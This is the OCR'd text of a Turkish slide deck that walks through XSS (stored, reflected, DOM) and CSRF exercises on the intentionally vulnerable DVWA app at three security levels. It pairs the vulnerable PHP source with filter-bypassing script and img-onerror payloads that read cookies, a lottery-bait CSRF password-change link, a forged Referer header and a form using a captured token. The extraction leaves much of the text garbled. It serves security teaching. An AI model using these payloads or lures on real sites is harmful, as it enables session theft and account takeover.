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XSS - Cross Site Scripting

XSS ile Saldirgan:

e Javascript kodu galigtirilabilir.
e Kullanicin oturum(session) ve ¢erez(cookie) bilgilerini ¢alabilir.

e Kullaniciyi bagka bir sayfaya yonlendirip, yonlendirdigi sayfada daha fazla saldir
gerceklestirebilir.
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XSS - Cross Site Scripting

e XSS - Stored
o Saldiri igin kullanilan html, veritabanina yada verilerin saklandigi gegici alanlarda
saklanir, kullanici sayfayi goriintiilediginde script ¢aligir.
® XSS - Reflected
o Saldinyr yapan kisi URL veya form alanlari tizerinden script ¢aligtirir.
e XSS-DOM
o XSS-Stored ve XSS-Reflected HTML lizerinde gerceklesirken, XSS-DOM adindan
da anlasilabilecegi gibi Document Object Model(iizerinde) gergeklestirilir.
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XSS(Stored) - Low

Stored XSS Source

vulnerabilities/xss_sl/sourcel/low.php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {

$message
$name

trim( $ POST[ 'mtxMessage' 1 );
trim( $_POST[ 'txtName' ] );

$message = stripslashes( $message );
$message = ((isset($GLOBALS[" mysqli_ston"]) && is_object($GLOBALS[" my<
[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.

$name = ((isset($GLOBALS[" mysqli_ston"]) && 1s_object($GLOBALS[" mysqli
[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.

"INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$n:
mysqli_query($GLOBALS[" mysqli ston"], $query ) or die( '<pre>'

squery
$result

7>
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XSS(Stored) - Low

Vulnerability: Stored Cross Site Scripting (XSS)

Name * | attack \

<script>alert("Message")</script>
Message * helloooo

Sign Guestbook Clear Guestbook
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XSS(Stored) - Medium

Stored XSS Source

vulnerabilities/xss_s/source/medium.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

$message = strip_tags( addslashes( $message ) );

$message = ((isset($GLOBALSI[" mysqli ston"]) && is object($(
[MySQLConverterToo] Fix the mysql escape string() call! This code

$message = htmlspecialchars( $message );

$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS[" mysgli ston"]) && is object($GLOE
[MySQLConverterToo] Fix the mysql escape string() call! This code

s$query
$result

"INSERT INTO guestbook ( comment, name ) VALUES ( "¢
mysqli_query($GLOBALS["  mysqli ston"], $query ) ¢

7>
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XSS(Stored) - Medium

v <tbody>
wv<tr>
<td width="100">Name *</td>

v<td>

<input name="txtName" type="text" size="30"|maxlength="10"> o) Bu degerVUkseltllerEk daha fazla
</td> karakter girilmesi saglanir.

</tr>

P<trai=i</tr>

P<tr>imic/tr>

Vulnerability: Stored Cross Site Scripting (XSS)

Name * ser<script>ipt>alert(document.cookie)</s¢ PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsro; security=medium

Message *

Sign Guestbook Clear Guestbook
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XSS(Stored) - High

vulnerabilities/xss_s/sourcel/high.php

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

$message = trim( $_POST[ 'mtxMessage’' ] );
$name = trim( $ POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );

$message = ((1sset($GLOBALS[" _ mysqli_ston"]) && is_object($GLOBALS[" _ mysqli_ston"
[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USEF
$message = htmlspecialchars( $message );

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/1', '', $name );
$name ((1sset($GLOBALS["  mysqli_ston"]) && is_object($GLOBALS["  mysqli_ston"]))
[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.", E_USEF

"INSERT INTO guestbook ( comment, name ) VALUES ( '$message’, '$name’ );";
mysqli query($GLOBALS[" mysqli ston"], $query ) or die( '<pre>' . ((is_c¢

s$query
$result

7>
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XSS(Stored) - High

v <tbody>

v<ir>
<td width="100">Name *</td>
wv<td> |
<input name="txtName" type="text" size="30"|maxlength="10">}—_ 5 Bu deger yukseltilerek daha fazla
</td> karakter girilmesi saglanir.
</tr>

P <tral=i<c/tr>

P <traimic/tr>

Vulnerability: Stored Cross Site Scripting (XSS)

Name * <img src=x onError="alert(document.cookie)"> PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsr0; security=high
erewq —
Message *
Sign Guestbook Clear Guestbook oK
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XSS(Reflected) - Low

Vulnerability: Reflected Cross Site Scripting (XSS)

PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsr0; security=Ilow

What's your name? | <script>alert(document.cookie)</script> Submit

OK
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XSS(Reflected) - Low

vulnerabilities/xss_risourcel/low.php
<?php

header ("X-XSS-Protection: 0");

1f( array key exists( "name", $ GET ) && $ GET[ 'name' ] != NULL ) {

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>’
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XSS(Reflected) - Medium

vulnerabilities/xss_risource/medium.php

<?php

header ("X-XSS-Protection: 0");

if( array key exists( "name", $ GET ) && $ GET[ ‘name’ ]

$name = str_replace( '<script>', '', $_GET[ 'name' ]
echo "<pre>Hello ${name}</pre>";

7>
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NULL

)

{




XSS(Reflected) - High

Reflected XSS Source
vulnerabilities/xss_rl/source/high.php

<?php

header ("X-XSS-Protection: 0");

1f( array_key exists( "name", $ GET ) && $ GETI[

$name = preg_replace( "/<(.*)s(.*)c(.*)r(.
echo "<pre>Hello ${name}</pre>";

7>

"‘name’

]

k)i{.*)pl(.*)t/1’,

= NULL ) {
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", $_GETI

‘name’

]

i
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XSS(Reflected) - Medium & High

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? | <img src=x onerror="alert('heellooo’)"> Submit

l

heellooo

OK
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XSS(DOM) - Low

[ . . N Saldirimizi URL Gzerine
script yazarak

gerceklestirdik ve

scriptimizin ¢alistigini

v

7]

@ localhost/\

gorduk.
PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsr0; security=low Combobox'a inspect

yapildiginda ise asagidaki
html olusur.

P <SCript= s script

w<option value="English%3Cscript%3Ealert(document.cookie)%3C/script%3E">

English
script script

</option>
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XSS(DOM) - Medium

ss_d/?defaulg

=xxX </option></select><img src=x onerror:"alert(document.cookie)">( B | e w '

PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsr0; security=medium
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Orta seviyede, yine URL
uzerinden devam ediyoruz. Bu
sefer script etiketini
kullanmadan, <img>
etiketindeki event handler ile
javascript calistirarak

amacimiza ulagiyoruz.
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XSS(DOM) - Medium

vulnerabilities/xss_d/source/medium.php

<?php

if ( array key exists( "default", $ GET ) && 'is null ($ GETI[
$default = $ GET['default'];

1f (stripos ($default, "<script") !== false) {

header ("location: ?default=English");
exit;
}
}
7>
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"default’

1)

)

{




XSS(DOM) - High

7

@ localhost/vulnerab

PHPSESSID=8ibpv7vcb8k8jsbtrocvahnsr0; security=high
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# (Hash) karakteri url
Uzerinde Ozel bir karakterdir
ve fragment_identifier |
ifade eder.

Bu karakter sadece istemci
tarafinda c¢aligir ve sunucu
tarafinda bloke edilemez.




XSS(DOM) - High

vulnerabilities/xss_d/sourcelhigh.php

<?php
if ( array_key exists( "default", $ GET ) && !is_null ($_GET[ ‘'default’ 1) ) {

switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":

break;
default:
header ("location: ?default=English");
exit;
}
}
7>
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CSRF(Cross Site Request Forgery)

e CSRF isminden de anlasilcagi gibi, siteler arasinda isteklerin kaynagina
bakilmaksizin gonderilebilmesinden kaynaklanir.
e CSRF ile kullanici hesaplarina erisilebilir.
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CSRF - Low

vulnerabilities/csrflsourcellow.php

<?php
if( isset( $_GET[ 'Change' 1 ) ) {
$pass new = $ GET[ 'password new' ];

$pass_conf $ GET[ 'password conf' ];

if( $pass_new == $pass_conf ) {

$pass_new = ((isset($GLOBALS[" mysgli ston"]) && is _object($GLOBALS["  mysgli ston"])) ? mysql
[MySQLConverterToo] Fix the mysql escape string() call! This code does not work.", E_USER _ERROR)) ? ""
$pass_new = md5( $pass_new );

$insert "UPDATE ‘users’ SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser()

'

$result = mysqli_query($GLOBALS[" mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOB

echo "<pre>Password Changed.</pre>";

}
else {
echo "<pre>Passwords did not match.</pre>";
}
((is_null($__ mysqli res = mysqli_close($GLOBALS[" mysqli ston"]))) ? false : $__ mysqli_res);
}
7>




CSRF - Low

| G o () file:///home/parallels/Desktop/CSRF/csrf-low.html

iﬁ'_@'ﬁ wWoNTHELOTTERY! f

W O Inspector Console [© Debugger 1 Network {} Style Editor () Performance { Memory [E] Storage - Accessibility

<html>
v <head

<a hrefg"http://localhost/vulnerabilities/csrf/?password new=1P3&password conf=123&Change=Change">YOU WON THE LOTTERY!</a>

Kullanici farkinda olmadan baglantiya gittikten sonra, saldirgan
kullanicinin sifresini, kendi istedigi Sifreyle degistiriyor.

%W | @ localhost/\




CSRF - Medium

e Bu sefer farkl olarak, istegin geldigi

web sayfasina bakildigini gériyoruz.

® Ancak web sayfasi ile ilgili bilgiler
HTTP Request header boélimiinde
bulunur ve proxy ile degistirilmesi
mumkunddr.

vulnerabilities/csrflsource/medium.php

<?php
if( isset( $_GET[ 'Change' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$ SERVER[ 'SERVER_NAME' ]) !== false ) {

$pass_new
$pass_conf

$ GET[ 'password new' ];
$ GET[ 'password _conf' 1;

nmn

if( $pass_new == $pass_conf ) {

$pass_new = ((isset($GLOBALS[" mysqli ston"]) && is object($GLOBALS[" m
[MySQLConverterToo] Fix the mysql _escape_string() call! This code does not work.", E_US
$pass_new = md5( $pass_new );

$insert
$result

"UPDATE ‘users SET password = '$pass new' WHERE user = '" . dvwa
mysqli query($GLOBALS[" mysqli ston"], $insert ) or die( '<pre

nmn

echo "<pre>Password Changed.</pre>";

}

else {




CSRF - Medium

Bu satir, sagda bulunan saldirganin Requestinin header kisminda bulunmamaktadir. Ancak
saldirgan bu satiri eklediginde, Request sunucudaki kosulu saglamis olacak.

| Forward | | Drop | | Interceptison | | Action | [ Raw | Params | Headers | Hex |

\ T
GET /vulnerabilities/csrf/?password_new=123&password conf=123&Chan

Raw T Para}h{T Headers T Hex ] itnct. Tocalhoat P - P -
s/csrf/?password_new=123&password_conf=123&Char User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko
Host: localhost Accept: text/html,appflication/xhtml+xml,application/xml;q=0.9,%*/*;
User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux x86_64; rv:70.0) Geckec Accept-Language: en-US,en;q=0.5
Accept: text/html,applicgtion/xhtml+xml,application/xml;q=0.9,*/%; Accept-Encoding: gzip, deflate
Accept-Lanquage: en-US,enyq=0.5 Connection: close
Accept-Encoding: gzip, deflate Cookie: PHPSESSID=81bpv7vcb8k8jsbtrocvahnsr0; security=medium
' Upgrade-Insecure-Requests: 1

GET /vulnerabili :

Referer: hitp://10ca1host/vu1nerabilities/csrf/

rty=medium

Upgrade-Insecure-Requests: 1




CSRF - High

e Saldiri amach, agagidaki gibi bir form olusturup, saldiri sayfamizi olusturalim.
e input name="user_token” olan input alaninin degerine, saldiri yapcagimiz sayfada bir sekilde
ele gecirdigimiz token’i yerlestirelim.

</form>

<form action="http://localhost/vulnerabilities/cC

" method="GET">
New password:<br>
<input type="password" autocomplete="on" name="passwqrd new" value="12345"><br>
Confirm new password:<br>
<input type="password”" autocomplete="on" name="password csnf" value="12345"><br>
<br>

<input type="submit" value="Change" name="Change">
<input type="hidden" name:”user_token”[value:”b267e5660066eb63683db58cfc37bc18”>]




CSRF - High

® Olusturdugumuz formu gonderdigimizde, sunucu tarafindaki kontrolden gegecek ve sagdaki
gorselde goruldugu gibi Sifre degismis olacaktir.

> .@ () file:///hor Change your admin password:

New password:

New password:

Confirm new password:

Confirm new password:

Change

Password Changed.

‘ Change




XSS & CSRF




